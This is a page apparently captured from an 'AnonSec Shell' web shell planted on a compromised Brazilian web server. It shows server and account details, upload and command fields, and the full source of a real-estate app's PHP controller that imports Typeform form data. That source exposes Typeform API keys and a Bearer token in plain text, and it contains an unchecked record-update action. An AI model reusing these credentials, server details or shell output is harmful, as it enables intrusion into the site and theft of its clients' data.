AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_arbo/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_arbo/controllers/ArboController.php
<?php

require_once "Controller.php";
require_once __DIR__ . "/../models/ArboFormsModel.php";
require_once __DIR__ . "/../models/ArboFormDataModel.php";
require_once __DIR__ . "/../models/GaiaImovelModel.php";
require_once __DIR__ . "/../models/GaiaProposalModel.php";

class ArboController extends Controller
{
	/**
	 * @var
	 */
	protected $model;

	/**
	 * @var
	 */
	protected $ArboFormsModel;

	/**
	 * @var
	 */
	protected $ArboFormDataModel;

	/**
	 * @var GaiaImovelModel
	 */
	protected $GaiaImovelModel;

	/**
	 * @var GaiaProposalModel
	 */
	protected $GaiaProposalModel;

	/**
	 * ArboController constructor.
	 * @param $ui
	 * @param $_L
	 * @param $config
	 * @param $_pd
	 */
	public function __construct($ui, $_L, $config, $_pd)
	{
		parent::__construct($ui, $_L, $config, $_pd);

		$this->ArboFormsModel 		= new ArboFormsModel();
		$this->ArboFormDataModel 	= new ArboFormDataModel();
		$this->GaiaImovelModel 		= new GaiaImovelModel();
		$this->GaiaProposalModel	= new GaiaProposalModel();
	}

	/**
	 *
	 */
	public function import()
	{
                // TODO: vamos parar de importar pelo webhooks
                exit;
                
                
		if($_SERVER['REQUEST_METHOD'] == 'POST') {
			$json_response = file_get_contents("php://input");
//			$json_response = '';

			// Impede que o script seja encerrado
			ignore_user_abort(true);
			set_time_limit(0);

			// Encerra a conexão HTTP com o Webhooks, porém o restante
			// do script do Robô continua a execução normalmente.
			ob_start();
			echo "";
			header('Connection: close');
			header('Content-Length: '.ob_get_length());
			ob_end_flush();
			ob_flush();
			flush();

			if (!empty($json_response)) {
				$data_response = json_decode($json_response, true);
			}

			$data_forms = array();
			$data_forms['form_id'] 		= $data_response['form_response']['form_id'];
			$data_forms['submitted_at'] = date('Y-m-d H:i:s', strtotime($data_response['form_response']['submitted_at']));
			$data_forms['type'] 		= $data_response['form_response']['definition']['title'];
			$model_forms = $this->ArboFormsModel->createRecord($data_forms);
			$form_id = $model_forms->id();

			$fields = $data_response['form_response']['definition']['fields'];
			$answers = $data_response['form_response']['answers'];

			$owner = '';
			foreach ($fields as $i => $item) {
				$fields_values = array();
				$fields_values['form_id'] = $form_id;

				$field = str_replace('<br />', '', trim($item['title']));
				$type = (isset($answers[$i]['type'])) ? $answers[$i]['type'] : null;

				if ($type == 'choices') {
					$answer = $answers[$i]['choices']['labels'];
				} else if ($type == 'choice') {
					$answer = $answers[$i]['choice']['label'];
				} else {
					$answer = (isset($answers[$i][$type])) ? $answers[$i][$type] : null;
				}

				$answer = (is_array($answer)) ? implode(', ', $answer) : trim($answer);

				$field_clean = preg_replace("/([\s]?{{answer_[0-9]+}}[,\s]+)|([\s]?{{answer_[0-9]+}})|(<\/?.*?>)/", '', $field);
				$field_clean = preg_replace("/([,|\s])\?$/", '?', $field_clean);
				$value_clean = preg_replace("/{{answer_[0-9]+}}\s/", '', $answer);

				if (trim($field_clean) == "Vamos inciar pelo mais importante... como você se chama?") {
					$owner = $value_clean;
				}

				$fields_values['field'] = $field_clean;
				$fields_values['value'] = $value_clean;

				$this->ArboFormDataModel->createRecord($fields_values);
			}

			// Registra um log da requisição do TypeForm
			// Ativar o log: ?ng=module_arbo/arbo/import/log
			if (isset($this->routes[3]) && $this->routes[3] == 'log') {
				$prefix = "Request received in " . date('d/m/Y H:i:s') . ":\n";
				$sufix = "\n\n";
				$log_file = $this->_pd . "/storage/typeform/webhooks/log.txt";

				if (!is_writable($log_file)) {
					die('Failed. The file "/storage/typeform/webhooks/log.txt" is not writable.');
				}

				file_put_contents($log_file, $prefix . $json_response . $sufix, FILE_APPEND);

				$log = ORM::for_table('module_arbo_robo_logs')->create();
				$log->date = date('Y-m-d H:i:s');
				$log->owner = $owner;
				$log->description = "Dados recebidos do TypeForm";
				$log->data = $json_response;
				$log->operation = 'INPUT';
				$log->status = '';
				$log->ip = $_SERVER['REMOTE_ADDR'];
				$log->save();
			}

			// Enviar os dados para a Gaia
			if ($data_forms['type'] == "Cadastre seu Imóvel na Arbo")
				$this->GaiaImovelModel->fillFieldsImovel($form_id);
			else if ($data_forms['type'] == "Propostas de Locação")
				$this->GaiaProposalModel->fillFieldsProposal($form_id);
		}
	}
        
        
        /**
	 *
	 */
	public function importManual($typeform_form_id)
	{
                @ini_set('memory_limit', '512M');
                @ini_set('max_execution_time', 0);
                @set_time_limit(0);
                
                // pego os dados do Fórmulário no Typeform
                $json_response = file_get_contents("https://api.typeform.com/v1/forms?key=202b76e620d2effdb37e1a433974405b365abbd7");
                
                if (!empty($json_response)) {
                        $data_response = json_decode($json_response, true);
//                        var_dump($data_response);exit;
                        
                        foreach ($data_response as $form)
                        {
                            if($form['id'] == $typeform_form_id)
                            {
                                $form_name = $form['name']; 
                            }
                        }
                }
                else
                {
                    return false;
                }
                
                $data = ORM::for_table('module_arbo_forms');
                $data->where('typeform_form_id', $typeform_form_id);
                $data->order_by_desc('submitted_at');
                $data->limit(1);
                $result = $data->find_array();
                
                $since = null;
                if(isset($result[0]['submitted_at']))
                {
                    $since = '&since='.(strtotime($result[0]['submitted_at'])-(60*60*24));
                }
		
//                $json_response = file_get_contents("https://api.typeform.com/v1/form/".$typeform_form_id."?key=666d84bfc9b01d5a56acf921a368c4ae5b456aa9&completed=true".$since);
                
                
                $this->resource = curl_init('https://api.typeform.com/forms/cYHPEY?completed=true'.$since);
                curl_setopt($this->resource, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($this->resource, CURLOPT_HTTPHEADER, array(
                'Authorization: Bearer Hf2QHdtSVsGqUjvJFBmP48bjPrg8CTqwEnXxJUnD2SQg'
                ));
		$json_response = curl_exec($this->resource);

                if (!empty($json_response)) {
                        $data_response = json_decode($json_response, true);
                }
                else
                {
                    return false;
                }
                $fields = $data_response['fields'];
                
                
                // pego as respostas
                $this->resource = curl_init('https://api.typeform.com/forms/cYHPEY/responses?completed=true'.$since);
                curl_setopt($this->resource, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($this->resource, CURLOPT_HTTPHEADER, array(
                'Authorization: Bearer Hf2QHdtSVsGqUjvJFBmP48bjPrg8CTqwEnXxJUnD2SQg'
                ));
		$json_response = curl_exec($this->resource);

                if (!empty($json_response)) {
                        $data_response = json_decode($json_response, true);
                }
                else
                {
                    return false;
                }
                $forms = $data_response['items'];
//                
//                var_dump($fields);exit;
//                var_dump($forms[0]['answers']);exit;
                
                $owner = '';
                
                foreach ($forms as $answers)
                {
                    // Verifico se o formulário já foi registrado
                    $data = ORM::for_table('module_arbo_forms');
                    $data->where('typeform_token', $answers['token']);
                    $result = $data->find_array();
                    
                    if(count($result) > 0)
                    {
                        continue;
                    }

                    $data_forms = array();
                    $data_forms['submitted_at']     = date('Y-m-d H:i:s', strtotime($answers['submitted_at']));
                    $data_forms['type']             = $form_name;
                    $data_forms['typeform_form_id'] = $typeform_form_id;
                    $data_forms['typeform_token']            = $answers['token'];
                    
                    $model_forms    = $this->ArboFormsModel->createRecord($data_forms);
                    $form_id        = $model_forms->id();
                    
                    $arr_question_ids = array();
                    
                    foreach ($fields as $item) 
                    {
                        $value_aux = null;
                        $fields_values = array();
//                        list($type, $question_id) = explode('_', $item['id']);
                        
                        $type = $item['type'];
                        $question_id = $item['id'];
                        
                        if(in_array($item['id'], $arr_question_ids))
                        {
                            continue;
                        }
                        else
                        {
                            $arr_question_ids[] = $item['id'];
                        }
                        
                        $fields_values['form_id'] = $form_id;
                        $fields_values['field'] = $item['title'];
                        $fields_values['type'] = $type;
                        $fields_values['multi'] = null;
                        $fields_values['typeform_question_id'] = $item['id'];
                        
                        if($item['id'] <= 0 )
                        {
                            continue;
                        }

                        $multi = false;
//                        foreach ($answers['answers'] as $key => $value)
//                        {
//                            $arr_key = explode('_', $key);
//                            if($question_id == $arr_key[1])
//                            {
//                                if(isset($arr_key[3]) && $arr_key[3])
//                                {
//                                    $multi = true;
//                                    $value_aux .= trim($value).';';
//
//                                }
//                                else
//                                {
//                                    $value_aux = trim($value);
//                                    continue;
//                                }
//
//                            }
//                        }
                        
                        
                        
                        foreach ($answers['answers'] as $answer)
                        {
//                            $arr_key = explode('_', $key);
                            if($question_id == $answer['field']['id'])
                            {
                                if($answer['field']['type'] == 'multiple_choice')
                                {
                                    if($answer['type'] == 'choices')
                                    {
                                        $multi = true;
                                        $value_aux .= implode(';', $answer['choices']['labels']);

                                    }
                                    else
                                    {
                                        $value_aux = trim($answer['choice']['label']);
                                    }
                                }
                                else
                                {
                                    $value_aux = trim($answer[$answer['type']]);
                                }
                            }
                        };
                        
                        

                        if($multi == true)
                        {
                            $fields_values['multi'] = 1;
                        }
                        $fields_values['value'] = $value_aux;

                        //verifico se o nome do Cliente
                        if($item['id'] == 40893390)
                        {
                            $owner = $value_aux;
                        }

                        // formato o valor do campo
                        $field = str_replace('<br />', '', trim($item['title']));
                        $field_clean = preg_replace("/([\s]?{{field:[A-Za-z0-9-]+}}[,\s]+)|([\s]?{{field:[A-Za-z0-9-]+}})|(<\/?.*?>)/", '', $field);
//                        $field_clean = preg_replace("/\{{(.*?)\}}[,\s]+/", '', $field);
                        $field_clean = preg_replace("/([,|\s])\?$/", '?', $field_clean);
                        $fields_values['field'] = trim($field_clean);
                        
//                        var_dump($fields_values);
                        $this->ArboFormDataModel->createRecord($fields_values);
                    }
                    
                    // Registra um log da requisição do TypeForm
                    // Ativar o log: ?ng=module_arbo/arbo/import/log
                    if (isset($this->routes[3]) && $this->routes[3] == 'log') {
                            $prefix = "Request received in " . date('d/m/Y H:i:s') . ":\n";
                            $sufix = "\n\n";
                            $log_file = $this->_pd . "/storage/typeform/webhooks/log.txt";

                            if (!is_writable($log_file)) {
                                    die('Failed. The file "/storage/typeform/webhooks/log.txt" is not writable.');
                            }

                            file_put_contents($log_file, $prefix . $json_response . $sufix, FILE_APPEND);

                            $log = ORM::for_table('module_arbo_robo_logs')->create();
                            $log->date = date('Y-m-d H:i:s');
                            $log->owner = $owner;
                            $log->description = "Dados recebidos do TypeForm";
                            $log->data = $json_response;
                            $log->operation = 'INPUT';
                            $log->status = '';
                            $log->ip = $_SERVER['REMOTE_ADDR'];
                            $log->save();
                    }

                    // Enviar os dados para a Gaia
                    if ($data_forms['type'] == "Cadastre seu Imóvel na Arbo")
                            $this->GaiaImovelModel->fillFieldsImovel($form_id);
                    else if ($data_forms['type'] == "Propostas de Locação")
                            $this->GaiaProposalModel->fillFieldsProposal($form_id);
                }
	}

	/**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function listArbo()
	{
                // faço a importação do TypeForm
//                $this->importTypeform();
                
		$type = $this->routes['3'];
		$this->ui->assign('_st', $this->_L['Arbo']);
		$this->ui->assign('type', $type);

		$where = array();
		if($type == 'proposals')
                        $typeform_form_id = 'PTWF4F';
			$where['type'] = 'Propostas de Locação';
		if($type == 'realestate')
			$typeform_form_id = 'cYHPEY';
                        $where['type'] = 'Cadastre seu Imóvel na Arbo';

//		$forms = $this->ArboFormsModel->all($where, 'id', 'desc');
		$forms = ORM::for_table('module_arbo_forms')
			->table_alias('f')
                        ->where('typeform_form_id', $typeform_form_id)
			->select('f.*')
			->select('fd.field')
			->select('fd.value')
			->join('module_arbo_form_data', 'f.id = fd.form_id', 'fd')
			->where_like('fd.typeform_question_id', '40893390')
			->order_by_desc('f.submitted_at')
			->find_many();
		$this->ui->assign('forms', $forms);

		$this->ui->assign('_include', 'list');
		$this->ui->display('wrapper.tpl');
	}
        
        /**
	 * Action para importação dor fomulários do Typeform
	 */
	public function importTypeform()
	{
            // importo os novos imóveis
            $this->importManual('cYHPEY');
            
            // importo as propostas de locação
//            $this->importManual('PTWF4F');
            
            echo 'Importanção realizada com sucesso';
        }

	/**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function view()
	{
		$id = $this->routes['3'];
		$type = $this->routes['4'];
		$this->ui->assign('_st', $this->_L['Arbo']);
		$this->ui->assign('type', $type);
                
                //pego os logos do formulário
                $logs = ORM::for_table('module_arbo_robo_logs')
                        ->select('*')
                        ->where('form_id', $id)
                        ->find_array();
                $this->ui->assign('logs', $logs);

		$form = $this->ArboFormsModel->findWithFormDataArray($id);
		$this->ui->assign('form', $form);

		$this->ui->assign('_include', 'view');
		$this->ui->display('wrapper.tpl');
	}
        
        /**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function view_post()
	{
		$id = $this->routes['3'];
                
                $form = $_POST;
                
                foreach ($form as $key => $value)
                {
                        $field = ORM::for_table('module_arbo_form_data')->find_one($key);
			$field->value = $value;
			$field->save();
                }
                r2(U . 'module_arbo/arbo/view/'.$id.'/realestate', 's', 'Dados salvos com sucesso');
                
	}
        
        
        /**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function send_gaia()
	{
		$id = $this->routes['3'];
                
                $this->GaiaImovelModel->fillFieldsImovel($id);
                
                r2(U . 'module_arbo/arbo/view/'.$id.'/realestate', 's', 'Envio realizado com sucesso');
                
	}
        
        
}

Anon7 - 2022
AnonSec Team